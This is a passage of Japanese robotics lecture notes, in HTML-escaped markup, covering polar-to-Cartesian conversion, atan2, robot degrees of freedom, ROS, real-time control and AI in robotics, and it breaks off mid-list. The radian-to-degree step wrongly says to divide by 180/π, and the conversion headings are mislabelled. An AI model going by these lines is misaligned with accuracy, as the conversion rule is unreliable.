図2: 2次元の極座標系
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;基本要素&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原点（O）&lt;/strong&gt;: 基準点&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;基線&lt;/strong&gt;: 角度0の基準線&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;距離r&lt;/strong&gt;: 原点からの距離&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;点P&lt;/strong&gt;: その場所&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;角度0の基準（基線）とその場所とそこからの距離Rで場所を特定する。&lt;/p&gt;
&lt;h4&gt;3.2.2 直交座標系との関係&lt;/h4&gt;
&lt;p&gt;このままだとわかりにくいため、直交座標系と重ねて表現することが多い。&lt;/p&gt;
&lt;p&gt;デカルト座標と重ねた図では：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x軸を基線と重ねる&lt;/li&gt;
&lt;li&gt;x軸とy軸の原点と原点を重ねて表示することが多い&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;点Pの座標はx,yの座標でも表すことができ、RとΘの2つの表し方がある。&lt;/p&gt;
&lt;p&gt;（極座標系と直交座標系は互いに変換できる（誤差もあるが））&lt;/p&gt;
&lt;p&gt;直行座標表現から直行座標系&lt;/p&gt;
&lt;p&gt;(r,Θ)➡（x,y）&lt;/p&gt;
&lt;p&gt;この問題をかんがえるための三角形を考える&lt;/p&gt;
&lt;p&gt;◢&lt;/p&gt;
&lt;p&gt;三角関数を使うことにより変換できる：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;sinΘ = y/r&lt;/li&gt;
&lt;li&gt;cosΘ = x/r&lt;/li&gt;
&lt;li&gt;tanΘ = y/x&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2次元の場合の変換式&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x = r cosΘ&lt;/li&gt;
&lt;li&gt;y = r sinΘ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらからrと三角形の角度Θからxとyの値を求めることができる&lt;/p&gt;
&lt;p&gt;直行座標系から直行座標表現&lt;/p&gt;
&lt;p&gt;（x,y）➡(r,Θ)&lt;/p&gt;
&lt;p&gt;三平方の定理から&lt;/p&gt;
&lt;p&gt;x^2 + y^2 = r^2&lt;/p&gt;
&lt;p&gt;これらにより&lt;/p&gt;
&lt;p&gt;r = sqrt(x^2 + y^2)&lt;/p&gt;
&lt;p&gt;よってｒを求めることができる&lt;/p&gt;
&lt;p&gt;tanΘ=y/x&lt;/p&gt;
&lt;p&gt;よって&lt;/p&gt;
&lt;p&gt;Θ=tan^-1(y/x)手計算ではアークタンジェントの値はテイラー展開で求めることができるｘが４ｙが３の時にテイラー展開のＸにｙ/xを入れて計算するとラジアンの値が出るあとはそれを180/πで割れば度に変換できる。&lt;/p&gt;
&lt;p&gt;から&lt;/p&gt;
&lt;p&gt;三角形の角度Θを求めることができ、&lt;/p&gt;
&lt;p&gt;よってΘとｒが求まるため座標変換が完了する&lt;/p&gt;
&lt;p&gt;しかし以下の問題点がある&lt;/p&gt;
&lt;p&gt;y/x＝2/1=2&lt;/p&gt;
&lt;p&gt;y/x＝-2/-1=2&lt;/p&gt;
&lt;p&gt;個の変換ではこの２パターンのように正負の区別ができず同じ値になったり、x＝０のときに計算ができない問題がある&lt;/p&gt;
&lt;p&gt;直行座標系ではマイナスになる値も一意なため極座標ではそれ以外のパラメータで正負と０のの値を判別する必要がある&lt;/p&gt;
&lt;p&gt;例えばx=0,x&amp;lt;0,x&amp;gt;0の三パターンに場合分けして考える。&lt;/p&gt;
&lt;p&gt;整理すると以下のようになる：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Θ = tan⁻¹(y/x) (x &amp;gt; 0)&lt;/li&gt;
&lt;li&gt;Θ = π + tan⁻¹(y/x) (x &amp;lt; 0)&lt;/li&gt;
&lt;li&gt;Θ = π/2 (x = 0, y &amp;gt; 0)&lt;/li&gt;
&lt;li&gt;Θ = -π/2 (x = 0, y &amp;lt; 0)&lt;/li&gt;
&lt;li&gt;不定 (x = 0, y = 0) r = 0の時には角度が求められない&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;角度の単位変換&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;360度 = 2πラジアン&lt;/li&gt;
&lt;li&gt;180度 = πラジアン&lt;/li&gt;
&lt;li&gt;90度 = π/2ラジアン&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;    ｜
    ｜
    ｜
    ｜９０度（π/2rad）
ーーーーーーーー
    ｜-90度（ーπ/2rad）
    ｜
    ｜
    ｜
    ｜
&lt;/pre&gt;
&lt;h4&gt;3.2.4 プログラミングでの座標変換&lt;/h4&gt;
&lt;p&gt;プログラミング言語で座標変換を行う際には、多くの場合atan2()関数が利用されている。atan2(y, x)はx座標とy座標の符号を考慮し、-π〜πの範囲で正しい角度Θを返す関数である。通常の逆正接関数tan⁻¹(y/x)（またはatan(y/x)）ではx=0の時に計算できない、もしくはx,yの正負の違いによる象限判定ができないという問題があるが、atan2()ではこれを自動的に判別してくれる。そのため、atan2()を使うことで極座標θの計算に関するプログラムが簡単かつ安全に記述できる。多くの言語（例：C言語、Python、Java、MATLAB等）に標準搭載されている。なお、関数の結果はラジアン単位となるため度数法が必要な場合は変換も行う。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例：Pythonの場合&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;import math
theta = math.atan2(y, x)    # y, xは任意の座標値
theta_deg = math.degrees(theta)  # 度数法変換
&lt;/pre&gt;
&lt;p&gt;このようにして、任意の点の角度を正しく求めることができる。&lt;/p&gt;
&lt;h4&gt;3.2.5 3次元極座標系&lt;/h4&gt;
&lt;p&gt;3次元の場合、以下の3種類の変数によって表すことができる：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;距離r&lt;/strong&gt;: 原点からの距離&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;水平角度φ&lt;/strong&gt;: 水平面内での角度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;垂直角度Θ&lt;/strong&gt;: 垂直方向の角度&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.3 その他の座標系&lt;/h3&gt;
&lt;h4&gt;3.3.1 円筒座標型ロボット&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;高さ方向&lt;/strong&gt;: 直交座標系（1軸）（直動運動）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;水平方向&lt;/strong&gt;: 極座標系（2次元）（回転運動）&lt;/li&gt;
&lt;li&gt;これらによって作成されるロボットのこと&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3.3.2 多関節型ロボット&lt;/h4&gt;
&lt;p&gt;極座標系の連鎖によって多軸制御するもの&lt;/p&gt;
&lt;h4&gt;3.3.3 スカラ型ロボット&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;高さ方向&lt;/strong&gt;: 直交座標系（1軸）（直動運動）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;水平方向&lt;/strong&gt;: 多関節型（2軸が多い）（回転運動）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4. ロボットアームの自由度&lt;/h2&gt;
&lt;h3&gt;4.1 自由度の定義&lt;/h3&gt;
&lt;p&gt;自由に動かすことのできる関節の数（しかし数え方に注意）&lt;/p&gt;
&lt;h3&gt;4.2 6自由度の概念&lt;/h3&gt;
&lt;p&gt;一般的に6自由度あれば任意の空間の位置と姿勢をとることができる。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6自由度の構成&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;位置の自由度（3自由度）&lt;/strong&gt;: X, Y, Z&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;姿勢の自由度（3自由度）&lt;/strong&gt;: Θ_x, Θ_y, Θ_z&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.3 自由度の応用&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;3自由度&lt;/strong&gt;: 位置のみ制御（例：ピック&amp;amp;プレースロボット）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;6自由度&lt;/strong&gt;: 位置と姿勢の両方を制御（例：産業用ロボットアーム）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;7自由度以上&lt;/strong&gt;: 冗長自由度（例：ヒューマノイドロボット）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4.3.1 冗長自由度とは&lt;/h4&gt;
&lt;p&gt;冗長自由度とは、6自由度を超える余分な自由度のことである。これにより以下の利点がある：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;利点&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;障害物回避&lt;/strong&gt;: 同じ目標位置・姿勢でも複数の軌道が可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特異点回避&lt;/strong&gt;: ロボットが特異姿勢（制御が困難な姿勢）を避けられる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最適化&lt;/strong&gt;: エネルギー効率や速度を最適化できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;人間らしい動作&lt;/strong&gt;: ヒューマノイドロボットで自然な動作が可能&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;例&lt;/strong&gt;: 7自由度アームでは、目標位置・姿勢に対して無限の解が存在し、その中から最適な解を選択できる。&lt;/p&gt;
&lt;h2&gt;5. 実装時の注意点&lt;/h2&gt;
&lt;h3&gt;5.1 座標変換での数値誤差&lt;/h3&gt;
&lt;p&gt;実装時に座標変換を行う際は、以下の点に注意が必要である：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;数値誤差の原因&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;浮動小数点演算&lt;/strong&gt;: コンピュータでの計算では微小な誤差が発生&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;三角関数の精度&lt;/strong&gt;: sin、cos、tan関数の計算精度の限界&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;累積誤差&lt;/strong&gt;: 複数回の変換で誤差が蓄積&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;適切なデータ型&lt;/strong&gt;: double型を使用して精度を確保&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;誤差許容範囲&lt;/strong&gt;: 許容できる誤差範囲を設定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;正規化&lt;/strong&gt;: 角度を適切な範囲に正規化&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.2 関節制限と特異点&lt;/h3&gt;
&lt;p&gt;ロボットの実装では、物理的制約を考慮する必要がある：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;関節制限&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;可動範囲&lt;/strong&gt;: 各関節の最小・最大角度/距離&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;速度制限&lt;/strong&gt;: 関節の最大角速度/線速度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;トルク制限&lt;/strong&gt;: モータの最大出力トルク&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;特異点の問題&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: ロボットが制御困難になる姿勢&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;例&lt;/strong&gt;: アームが完全に伸びた状態や、関節が一直線になった状態&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;: 冗長自由度の活用、軌道計画での回避&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.3 座標系選択の指針&lt;/h3&gt;
&lt;p&gt;実装時に適切な座標系を選択するための指針：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;直交座標系を選ぶ場合&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;精密な位置決めが必要&lt;/li&gt;
&lt;li&gt;繰り返し作業が多い&lt;/li&gt;
&lt;li&gt;計算の簡素化が重要&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;極座標系を選ぶ場合&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;回転中心からの距離制御が重要&lt;/li&gt;
&lt;li&gt;円形の作業エリア&lt;/li&gt;
&lt;li&gt;コンパクトな設計が要求される&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;6. 現代のロボット制御技術&lt;/h2&gt;
&lt;h3&gt;6.1 Robot Operating System (ROS)&lt;/h3&gt;
&lt;p&gt;現代のロボット開発では、ROS（Robot Operating System）が広く使用されている：&lt;/p&gt;
&lt;h4&gt;6.1.1 ROSの基本概念&lt;/h4&gt;
&lt;p&gt;ROSは、ロボットソフトウェア開発のためのオープンソースフレームワークである。2007年にスタンフォード大学とWillow Garage社によって開発され、現在はOpen Roboticsが管理している。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ROSの設計思想&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;モジュラー設計&lt;/strong&gt;: 機能ごとに独立したノード（プログラム）で構成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;言語非依存&lt;/strong&gt;: C++、Python、Java、Lispなど複数言語をサポート&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プラットフォーム非依存&lt;/strong&gt;: Linux、Windows、macOSで動作&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オープンソース&lt;/strong&gt;: 無料で使用・改変・配布可能&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;6.1.2 ROSのアーキテクチャ&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;分散アーキテクチャ&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ノード（Node）&lt;/strong&gt;: 個別の処理を行うプログラム単位&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;マスタ（Master）&lt;/strong&gt;: ノード間の通信を管理する中央制御システム&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パラメータサーバ&lt;/strong&gt;: 設定値を格納・管理するサーバ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ROSグラフ&lt;/strong&gt;: ノード間の接続関係を可視化&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;通信メカニズム&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;トピック（Topic）&lt;/strong&gt;: 一方向の非同期通信（パブリッシュ/サブスクライブ）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サービス（Service）&lt;/strong&gt;: 双方向の同期通信（リクエスト/レスポンス）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アクション（Action）&lt;/strong&gt;: 長時間実行されるタスクの非同期通信&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パラメータ（Parameter）&lt;/strong&gt;: 設定値の動的変更&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;6.1.3 ROSの主要ライブラリ&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;座標変換ライブラリ&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;tf2&lt;/strong&gt;: 座標系間の変換を自動管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;geometry_msgs&lt;/strong&gt;: 位置・姿勢・速度などの幾何学メッセージ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;sensor_msgs&lt;/strong&gt;: センサデータの標準メッセージ形式&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;軌道計画ライブラリ&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;move_base&lt;/strong&gt;: ナビゲーション用のパスプランニング&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;dwa_local_planner&lt;/strong&gt;: 動的ウィンドウアプローチによる局所計画&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;global_planner&lt;/strong&gt;: グローバルパスプランニング&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;センサ処理ライブラリ&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;laser_geometry&lt;/strong&gt;: レーザースキャナデータの処理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;image_geometry&lt;/strong&gt;: カメラ画像の幾何学処理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pcl_ros&lt;/strong&gt;: ポイントクラウドデータの処理&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;6.1.4 シミュレーション環境&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Gazebo&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;物理エンジン&lt;/strong&gt;: ODE、Bullet、DARTによる高精度物理シミュレーション&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;センサシミュレーション&lt;/strong&gt;: カメラ、レーザー、IMUなどの仮想センサ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;環境モデリング&lt;/strong&gt;: 3D環境の構築と動的物体の配置&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ROS統合&lt;/strong&gt;: ROSノードとして動作するシミュレーション&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;6.1.5 座標系での応用&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;TF（Transform）システム&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;座標系ツリー&lt;/strong&gt;: 親子関係による座標系の階層管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;動的変換&lt;/strong&gt;: リアルタイムでの座標変換計算&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;座標系可視化&lt;/strong&gt;: RVizによる座標系の視覚化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;変換チェーン&lt;/strong&gt;: 複数座標系を経由した変換の自動計算&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;URDF（Unified Robot Description Format）&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ロボット構造&lt;/strong&gt;: リンクと関節の階層的記述&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;視覚的表現&lt;/strong&gt;: 3Dモデルとマテリアルの定義&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;衝突検出&lt;/strong&gt;: 衝突形状の定義&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;動的特性&lt;/strong&gt;: 慣性パラメータと物理特性&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;MoveIt&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;運動計画&lt;/strong&gt;: 逆運動学と軌道計画の統合&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;衝突回避&lt;/strong&gt;: 障害物を考慮した動作計画&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最適化&lt;/strong&gt;: エネルギー効率や時間最適化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可視化&lt;/strong&gt;: 計画された軌道の3D表示&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6.2 リアルタイム制御&lt;/h3&gt;
&lt;p&gt;現代のロボット制御では、リアルタイム性が重要である：&lt;/p&gt;
&lt;h4&gt;6.2.1 リアルタイム制御の基本概念&lt;/h4&gt;
&lt;p&gt;リアルタイム制御とは、システムが外部からの要求に対して決められた時間内に応答することを保証する制御方式である。ロボット制御では、センサデータの処理からアクチュエータへの指令まで、すべての処理が時間制約内で完了する必要がある。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;リアルタイム制御の重要性&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;安全性&lt;/strong&gt;: 人間との協働ロボットでは、衝突回避のための即座な応答が必要&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;精度&lt;/strong&gt;: 制御周期のばらつきが位置精度に直接影響&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安定性&lt;/strong&gt;: 制御ループの遅延がシステムの不安定化を引き起こす可能性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;協調制御&lt;/strong&gt;: 複数のロボットやシステムとの協調動作&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;6.2.2 リアルタイム制御の分類&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;ハードリアルタイム&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: 時間制約を満たさないとシステム全体が失敗する制御&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;例&lt;/strong&gt;: 航空機の制御、医療機器、原子力プラント制御&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;要件&lt;/strong&gt;: ミッションクリティカルな応用での使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保証&lt;/strong&gt;: 最悪実行時間（WCET）の厳密な保証が必要&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ソフトリアルタイム&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: 時間制約を満たさなくてもシステムの品質が低下する制御&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;例&lt;/strong&gt;: マルチメディア処理、ネットワーク通信、一般的なロボット制御&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;要件&lt;/strong&gt;: 統計的な応答時間の保証で十分&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;許容&lt;/strong&gt;: 偶発的な遅延は許容される&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;6.2.3 リアルタイム制御の要件&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;決定論的応答&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;予測可能性&lt;/strong&gt;: 処理時間の変動を最小限に抑制&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スケジューリング&lt;/strong&gt;: 優先度ベースのタスクスケジューリング&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リソース管理&lt;/strong&gt;: CPU、メモリ、I/Oの効率的な管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;干渉回避&lt;/strong&gt;: 異なるタスク間の相互干渉の防止&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;制御周期の厳密な遵守&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;周期制御&lt;/strong&gt;: 一定間隔での制御ループ実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ジッター制御&lt;/strong&gt;: 周期のばらつきを最小化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デッドライン管理&lt;/strong&gt;: 各タスクの実行期限の管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オーバーフロー処理&lt;/strong&gt;: 処理時間超過時の対応&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;6.2.4 実装技術&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;RTOS（リアルタイムオペレーティングシステム）&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;代表例&lt;/strong&gt;: RT-Linux、QNX、VxWorks、FreeRTOS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特徴&lt;/strong&gt;: 優先度ベースのプリエンプティブスケジューリング&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;機能&lt;/strong&gt;: タスク間通信、同期、タイマー管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;適用&lt;/strong&gt;: 産業用ロボット、自動車制御、航空宇宙&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;FPGA（Field Programmable Gate Array）&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;並列処理&lt;/strong&gt;: 複数の処理を同時実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;低レイテンシ&lt;/strong&gt;: ハードウェアレベルでの高速処理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;決定論的動作&lt;/strong&gt;: クロック同期による確実な動作&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;適用&lt;/strong&gt;: 高周波制御、信号処理、画像処理&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;GPU（Graphics Processing Unit）&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;並列計算&lt;/strong&gt;: 数千のコアによる並列処理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CUDA/OpenCL&lt;/strong&gt;: 汎用計算用のプログラミング環境&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;適用&lt;/strong&gt;: 深層学習、画像認識、大規模シミュレーション&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;制約&lt;/strong&gt;: リアルタイム性の保証が困難な場合がある&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6.3 人工知能との統合&lt;/h3&gt;
&lt;p&gt;現代のロボットはAI技術と統合されている：&lt;/p&gt;
&lt;h4&gt;6.3.1 機械学習の応用&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;軌道学習&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;模倣学習&lt;/strong&gt;: 人間のデモンストレーションから動作パターンを学習&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;強化学習&lt;/strong&gt;: 試行錯誤を通じて最適な動作を獲得&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;転移学習&lt;/strong&gt;: 既存の知識を新しいタスクに適用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;例&lt;/strong&gt;: ピッキング動作、歩行パターン、操作技能の学習&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;適応制御&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;パラメータ調整&lt;/strong&gt;: 環境変化に応じた制御ゲインの自動調整&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;モデル同定&lt;/strong&gt;: システムの動特性をオンラインで推定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;外乱補償&lt;/strong&gt;: 未知の外乱に対する適応的補償&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;例&lt;/strong&gt;: 負荷変動への対応、摩耗による特性変化への適応&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;予測制御&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;モデル予測制御（MPC）&lt;/strong&gt;: 将来の状態を予測して最適制御を計算&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最適化&lt;/strong&gt;: 制約条件下での性能指標の最適化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;予測ホライズン&lt;/strong&gt;: 将来の時間範囲での制御計画&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;例&lt;/strong&gt;: 自動運転、ロボットマニピュレーション、エネルギー管理&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;6.3.2 深層学習の活用&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;視覚認識&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;物体検出&lt;/strong&gt;: YOLO、R-CNN、SSDによる物体の検出と分類&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;位置推定&lt;/strong&gt;: 6DOF姿勢推定による物体の位置・姿勢の特定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セマンティックセグメンテーション&lt;/strong&gt;: 画像の各ピクセルの意味を理解&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;例&lt;/strong&gt;: ピッキング対象の識別、障害物の検出、品質検査&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作計画&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;深層強化学習&lt;/strong&gt;: DQN、A3C、PPOによる動作の最適化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模倣学習&lt;/strong&gt;: GAIL（Generative Adversarial Imitation Learning）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;階層的学習&lt;/strong&gt;: 高レベル計画と低レベル制御の分離&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;例&lt;/strong&gt;: ゲームAI、ロボット歩行、マニピュレーション技能&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;異常検知&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;時系列解析&lt;/strong&gt;: LSTM、GRUによる時系列データの異常検出&lt;/li&gt;
